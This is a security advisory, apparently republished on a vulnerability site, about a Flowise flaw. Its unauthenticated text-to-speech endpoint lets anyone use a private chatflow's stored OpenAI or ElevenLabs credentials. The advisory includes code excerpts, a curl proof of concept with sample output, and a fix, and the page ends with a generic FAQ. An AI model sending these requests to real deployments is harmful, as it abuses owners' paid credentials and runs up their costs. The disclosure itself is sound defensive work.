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Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials — flowise

Missing Authorization

Summary

The /api/v1/text-to-speech/generate endpoint is whitelisted (requires no authentication) and accepts any chatflowId without checking whether the referenced chatflow is public. An unauthenticated attacker who knows a valid chatflow UUID can abuse that chatflow's TTS credential (OpenAI or ElevenLabs API key) to generate unlimited text-to-speech audio, incurring costs on the chatflow owner's account.

Details

The TTS generateTextToSpeech controller at packages/server/src/controllers/text-to-speech/index.ts:10-171 is whitelisted at packages/server/src/utils/constants.ts:41:

&#039;/api/v1/text-to-speech/generate&#039;,

When a chatflowId is provided and the user is not authenticated (no req.user), the controller falls back to fetching the chatflow without workspace scoping:

// packages/server/src/controllers/text-to-speech/index.ts:36-42
if (workspaceId) {
    chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)
} else {
    // Fallback: get workspaceId from chatflow when req.user.activeWorkspaceId is not set
    chatflow = await chatflowsService.getChatflowById(chatflowId)  // NO isPublic check
    workspaceId = chatflow.workspaceId
}

The getChatflowById function at packages/server/src/services/chatflows/index.ts:247-272 fetches any chatflow by ID when workspaceId is not provided:

const dbResponse = await appServer.AppDataSource.getRepository(ChatFlow).findOne({
    where: {
        id: chatflowId,
        ...(workspaceId ? { workspaceId } : {})  // No workspace filter when workspaceId is undefined
    }
})

The controller then extracts the TTS provider configuration from the chatflow:

// packages/server/src/controllers/text-to-speech/index.ts:51-66
const ttsConfig = JSON.parse(chatflow.textToSpeech)
const activeProviderKey = Object.keys(ttsConfig).find(key =&gt; ttsConfig[key].status === true)
const providerConfig = ttsConfig[activeProviderKey]
provider = activeProviderKey
credentialId = providerConfig.credentialId  // Extracted from private chatflow

This credentialId is then used to decrypt and use the stored credential (OpenAI or ElevenLabs API key) to make TTS API calls at packages/components/src/textToSpeech.ts:33-34:

const credentialId = textToSpeechConfig.credentialId as string
const credentialData = await getCredentialData(credentialId ?? &#039;&#039;, options)

PoC

# Step 1: Know a chatflow UUID that has TTS enabled (any chatflow, public or private)
CHATFLOW_ID=&quot;&lt;any-chatflow-uuid-with-tts-enabled&gt;&quot;

# Step 2: Abuse the TTS credential to generate audio without authentication
curl -X POST &quot;http://localhost:3000/api/v1/text-to-speech/generate&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &#039;{
    &quot;chatflowId&quot;: &quot;&#039;${CHATFLOW_ID}&#039;&quot;,
    &quot;chatId&quot;: &quot;attacker-chat-1&quot;,
    &quot;chatMessageId&quot;: &quot;msg-1&quot;,
    &quot;text&quot;: &quot;This is a test of unauthorized TTS generation using someone elses API key&quot;
  }&#039;

# Expected: Returns SSE stream with TTS audio data using the chatflow owner&#039;s OpenAI/ElevenLabs credentials
# event: tts_start
# data: {&quot;event&quot;:&quot;tts_start&quot;,&quot;data&quot;:{&quot;chatMessageId&quot;:&quot;msg-1&quot;,&quot;format&quot;:&quot;mp3&quot;}}
# event: tts_data
# data: {&quot;event&quot;:&quot;tts_data&quot;,&quot;data&quot;:{&quot;chatMessageId&quot;:&quot;msg-1&quot;,&quot;audioChunk&quot;:&quot;&lt;base64-audio&gt;&quot;}}

# Step 3: Repeat with large text to incur costs
curl -X POST &quot;http://localhost:3000/api/v1/text-to-speech/generate&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &#039;{
    &quot;chatflowId&quot;: &quot;&#039;${CHATFLOW_ID}&#039;&quot;,
    &quot;chatId&quot;: &quot;attacker-chat-2&quot;,
    &quot;chatMessageId&quot;: &quot;msg-2&quot;,
    &quot;text&quot;: &quot;&#039;$(python3 -c &quot;print(&#039;A&#039; * 4096)&quot;)&#039;&quot;
  }&#039;

Impact

Financial Impact: An attacker can generate unlimited TTS audio using the chatflow owner's OpenAI or ElevenLabs API credentials, incurring potentially significant costs. OpenAI TTS costs ~$15/1M characters; an attacker could generate large volumes of audio.
Credential Abuse: The attacker effectively gains indirect access to the stored API credentials without needing to authenticate or have any permissions. The credentials are not directly exposed but are used on behalf of the attacker.
Denial of Service: By exhausting the API quota/budget of the credential, the attacker can deny service to legitimate users of the chatflow.
Affects Private Chatflows: This vulnerability affects all chatflows with TTS configured, including those explicitly marked as private (isPublic: false).

Recommended Fix

Check isPublic before allowing unauthenticated TTS generation:

// packages/server/src/controllers/text-to-speech/index.ts
if (chatflowId) {
    let chatflow;
    let workspaceId = req.user?.activeWorkspaceId;
    
    if (workspaceId) {
        chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)
    } else {
        chatflow = await chatflowsService.getChatflowById(chatflowId)
        // Verify the chatflow is public before using its credentials
        if (!chatflow.isPublic) {
            throw new InternalFlowiseError(
                StatusCodes.UNAUTHORIZED,
                &#039;TTS generation requires authentication for non-public chatflows&#039;
            )
        }
        workspaceId = chatflow.workspaceId
    }
    // ... rest of the function
}

Consider applying rate limiting to the TTS endpoint to prevent abuse even for public chatflows.

Published: Aug 4, 2026
Updated: Aug 5, 2026
GHSA: GHSA-8gj2-2cvc-6xx7
Severity: Medium
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-862

Affected Software
References

Software	Affected versions
flowise	`< 3.1.4`

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.